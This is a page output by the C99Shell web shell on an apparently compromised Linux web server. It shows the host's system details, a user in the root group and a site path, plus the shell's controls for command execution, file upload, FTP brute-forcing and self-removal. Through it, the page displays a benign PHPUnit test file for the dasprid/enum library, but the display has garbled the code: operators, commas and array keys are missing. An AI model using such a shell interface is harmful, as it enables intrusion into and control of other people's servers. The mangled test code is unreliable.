!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/dasprid/enum/test/   drwxr-xr-x
Free 28.15 GB of 117.98 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EnumMapTest.php (7.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types 1);

namespace 
DASPRiD\EnumTest;

use 
DASPRiD\Enum\EnumMap;
use 
DASPRiD\Enum\Exception\ExpectationException;
use 
DASPRiD\Enum\Exception\IllegalArgumentException;
use 
PHPUnit\Framework\TestCase;
use 
stdClass;

final class 
EnumMapTest extends TestCase
{
    public function 
testConstructionWithInvalidEnumType() : void
    
{
        
$this->expectException(IllegalArgumentException::class);
        new 
EnumMap(stdClass::class, 'string'false);
    }

    public function 
testUnexpectedKeyType() : void
    
{
        
$this->expectException(ExpectationException::class);
        
$map = new EnumMap(WeekDay::class, 'string'false);
        
$map->expect(Planet::class, 'string'false);
    }

    public function 
testUnexpectedValueType() : void
    
{
        
$this->expectException(ExpectationException::class);
        
$map = new EnumMap(WeekDay::class, 'string'false);
        
$map->expect(WeekDay::class, 'int'false);
    }

    public function 
testUnexpectedNullableValueType() : void
    
{
        
$this->expectException(ExpectationException::class);
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$map->expect(WeekDay::class, 'string'false);
    }

    public function 
testExpectedTypes() : void
    
{
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$map->expect(WeekDay::class, 'string'true);
        
$this->addToAssertionCount(1);
    }

    public function 
testSize() : void
    
{
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$this->assertSame(0$map->size());
        
$map->put(WeekDay::MONDAY(), 'foo');
        
$this->assertSame(1$map->size());
    }

    public function 
testContainsValue() : void
    
{
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$this->assertFalse($map->containsValue('foo'));
        
$map->put(WeekDay::TUESDAY(), 'foo');
        
$this->assertTrue($map->containsValue('foo'));
        
$this->assertFalse($map->containsValue(null));
        
$map->put(WeekDay::WEDNESDAY(), null);
        
$this->assertTrue($map->containsValue(null));
    }

    public function 
testContainsKey() : void
    
{
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$this->assertFalse($map->containsKey(WeekDay::TUESDAY()));
        
$map->put(WeekDay::TUESDAY(), 'foo');
        
$this->assertTrue($map->containsKey(WeekDay::TUESDAY()));
        
$map->put(WeekDay::WEDNESDAY(), null);
        
$this->assertTrue($map->containsKey(WeekDay::WEDNESDAY()));
    }

    public function 
testPutAndGet() : void
    
{
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$map->put(WeekDay::TUESDAY(), 'foo');
        
$map->put(WeekDay::FRIDAY(), null);
        
$this->assertSame('foo'$map->get(WeekDay::TUESDAY()));
        
$this->assertSame(null$map->get(WeekDay::WEDNESDAY()));
        
$this->assertSame(null$map->get(WeekDay::FRIDAY()));
    }

    public function 
testPutInvalidKey() : void
    
{
        
$this->expectException(IllegalArgumentException::class);
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$map->put(Planet::MARS(), 'foo');
    }

    public function 
invalidValues() : array
    {
        return [
            [
'bool'nullfalse],
            [
'bool'0],
            [
'boolean'0],
            [
'int'2.4],
            [
'integer'5.3],
            [
'float'3],
            [
'double'7],
            [
'string'1],
            [
'object'1],
            [
'array'1],
            [
stdClass::class, 1],
        ];
    }

    
/**
     * @dataProvider invalidValues
     * @param mixed $value
     */
    
public function testPutInvalidValue(string $valueType$valuebool $allowNull true) : void
    
{
        
$this->expectException(IllegalArgumentException::class);
        
$map = new EnumMap(WeekDay::class, $valueType$allowNull);
        
$map->put(WeekDay::TUESDAY(), $value);
    }

    public function 
validValues() : array
    {
        return [
            [
'bool'null],
            [
'mixed''foo'],
            [
'mixed'1],
            [
'mixed', new stdClass()],
            [
'bool'true],
            [
'boolean'false],
            [
'int'1],
            [
'integer'4],
            [
'float'2.5],
            [
'double'6.4],
            [
'string''foo'],
            [
'object', new stdClass()],
            [
'array', ['foo']],
            [
stdClass::class, new stdClass()],
        ];
    }

    
/**
     * @dataProvider validValues
     * @param mixed $value
     */
    
public function testPutValidValue(string $valueType$valuebool $allowNull true) : void
    
{
        
$map = new EnumMap(WeekDay::class, $valueType$allowNull);
        
$map->put(WeekDay::TUESDAY(), $value);
        
$this->addToAssertionCount(1);
    }

    public function 
testRemove() : void
    
{
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$map->put(WeekDay::TUESDAY(), 'foo');
        
$map->remove(WeekDay::TUESDAY());
        
$map->remove(WeekDay::WEDNESDAY());
        
$this->assertSame(null$map->get(WeekDay::TUESDAY()));
        
$this->assertSame(0$map->size());
    }

    public function 
testClear() : void
    
{
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$map->put(WeekDay::TUESDAY(), 'foo');
        
$map->clear();
        
$this->assertSame(null$map->get(WeekDay::TUESDAY()));
        
$this->assertSame(0$map->size());
    }

    public function 
testEqualsWithSameInstance() : void
    
{
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$this->assertTrue($map->equals($map));
    }

    public function 
testEqualsWithDifferentSize() : void
    
{
        
$mapA = new EnumMap(WeekDay::class, 'string'true);
        
$mapB = new EnumMap(WeekDay::class, 'string'true);
        
$mapB->put(WeekDay::MONDAY(), 'foo');

        
$this->assertFalse($mapA->equals($mapB));
    }

    public function 
testEqualsWithDifferentValues() : void
    
{
        
$mapA = new EnumMap(WeekDay::class, 'string'true);
        
$mapA->put(WeekDay::MONDAY(), 'foo');
        
$mapB = new EnumMap(WeekDay::class, 'string'true);
        
$mapB->put(WeekDay::MONDAY(), 'bar');

        
$this->assertFalse($mapA->equals($mapB));
    }

    public function 
testEqualsWithDifferentConstants() : void
    
{
        
$mapA = new EnumMap(WeekDay::class, 'string'true);
        
$mapA->put(WeekDay::MONDAY(), 'foo');
        
$mapB = new EnumMap(WeekDay::class, 'string'true);
        
$mapB->put(WeekDay::TUESDAY(), 'foo');

        
$this->assertFalse($mapA->equals($mapB));
    }

    public function 
testValues() : void
    
{
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$this->assertSame([], $map->values());

        
$map->put(WeekDay::FRIDAY(), 'foo');
        
$map->put(WeekDay::TUESDAY(), 'bar');
        
$map->put(WeekDay::SUNDAY(), null);

        
$this->assertSame(['bar''foo'null], $map->values());
    }

    public function 
testSerializeAndUnserialize() : void
    
{
        
$mapA = new EnumMap(WeekDay::class, 'string'true);
        
$mapA->put(WeekDay::MONDAY(), 'foo');
        
$mapB unserialize(serialize($mapA));

        
$this->assertTrue($mapA->equals($mapB));
    }

    public function 
testIterator() : void
    
{
        
$map = new EnumMap(WeekDay::class, 'string'true);
        
$map->put(WeekDay::FRIDAY(), 'foo');
        
$map->put(WeekDay::TUESDAY(), 'bar');
        
$map->put(WeekDay::SUNDAY(), null);

        
$result = [];

        foreach (
$map as $key => $value) {
            
$result[$key->ordinal()] = $value;
        }

        
$this->assertSame([=> 'bar'=> 'foo'=> null], $result);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--